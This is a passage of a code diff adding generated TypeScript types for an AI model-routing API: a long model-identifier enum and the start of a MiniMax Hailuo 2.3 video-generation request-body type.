'~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosMinimaxHailuo23RequestModelEnumKey = + (typeof openrouterPostVideosMinimaxHailuo23RequestModelEnum)[keyof typeof openrouterPostVideosMinimaxHailuo23RequestModelEnum] + +/** + * @description MiniMax: Hailuo 2.3 (minimax/hailuo-2.3) — model-constrained video generation request. Hailuo 2.3 is a video generation model from MiniMax. It accepts text prompts and reference images as input and generates video output, supporting both text-to-video and image-to-video workflows. It is... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosMinimaxHailuo23Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: '16:9' + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosMinimaxHailuo23RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosMinimaxHailuo23RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern 